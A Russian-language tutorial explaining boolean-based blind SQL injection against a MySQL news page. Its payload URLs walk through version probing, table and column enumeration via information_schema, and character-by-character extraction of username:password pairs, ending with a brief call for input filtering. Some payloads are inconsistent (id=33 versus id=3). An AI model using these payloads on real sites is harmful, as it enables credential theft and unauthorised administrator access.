Если в обычной SQL INJECTIONвсе складывается на основе полученных сообщений от сервера, то в слепой - такой метод не актуален, так как сервер не выводит системных сообщений на странице, в данном методе используется система логического ответа сервера. Сервер имеет два варианта ответа:
true — стандартный вывод информации на странице,
false — вывод пустой страницы.
Представим что у сайта http://sitename.com/news.php?id=3 есть не фильтруемая переменная id в скрипте news.php. Но при таком запросе http://sitename.com/news.php?id=3' не выводится сообщение об ошибке на страницу, а всего лишь появляется пустая страница — это и есть слепая SQL INJECTION. Что делать в этом случае? В такой ситуации хакер пойдёт путём логического ответа сервера и сделает следующий запрос:
http://sitename.com/news.php?id=33+and+substring(version(),1,1)>5-- данный запрос задаёт серверу вопрос «какая версия MySQL» установлена. А точнее вопрос задан логически «Если версия больше 0, тогда выводить стандартную страницу, иначе вывести пустую страницу», в таком случае проверяется как сервер реагирует на запросы, есть ли какой не будь фильтр и пропускает ли он такого рода запросы. Если запросы проходят и не фильтруются, тогда сервер выведет ответ true, так как версия программного обеспечения не может быть меньше либо равно 0.
После проверки необходимо выяснить, какая же все таки версия MySQL установлена на сервере? Стандартная версия на данный момент является 5 поэтому целесообразно сделать следующий запрос:
http://sitename.com/news.php?id=33+and+substring(version(),1,1)=5--
Если запрос равен true, тогда можно сделать следующий запрос:
http://sitename.com/news.php?id=3+and+ascii(substring((select+table_name+from+information_schema.
tables+limit+1,1),1,1 ))>0--
В данном запросе проверяем как сервер реагирует на запрос выборки первого символа первой таблицы в базе данных с использованием системной таблицы information_schema , сервер возвращает номер ASCII
Для этого производится следующий запрос:
http://sitename.com/news.php?id=3+and+substring((select+table_name+from+information_schema.
tables+limit+1,1),1,1)='c'--
Данный запрос возвращает первый символ первой таблицы и если он совпадает с тем символом, который вы подставили, то сработает событие true, иначе false. Для подбора второго символа необходимо заменить цифру после последней запятой на 2.
http://sitename.com/news.php?id=3+and+substring((select+table_name+from+information_schema.
tables+limit+1,1),1,2)='co'--
Таким образом необходимо перебирать все таблицы в поисках главной, где хранятся пользовательские данные таблицы users
Далее необходимо перебирать таким же образом поля таблицы:
http://sitename.com/news.php?id=3+and+substring((select+column_name+from+information_schema.
columns+where+table_name=0x6262325f7573657273+limit+1,1),1,1)='i'
Перебор производится аналогичным образом как и с подбором таблиц. Полученные результаты:
users{
username
password
}
Используем в следующем запросе для перебора конфиденциальных данных:
http://sitename.com/news.php?id=3+and+(substring((select+concat(username,0x3a,password)+
from+bb2_users+limit+1,1),1,1))='a'--
После полученных данных можно пройти аутентификацию и зайти на сайт с правами администратора.
ЗАКЛЮЧЕНИЕ
Таким образом можно сказать, что при не внимательности разработчиков и не заострённости в проблеме информационной безопасности, появляются такие критические ошибки которые могут привести к печальным результатам.
А решение очень простое, необходимо установить фильтры на все переменные и постоянно следить за новыми уязвимостями в мире информационной безопасности и немедленно их устраненять.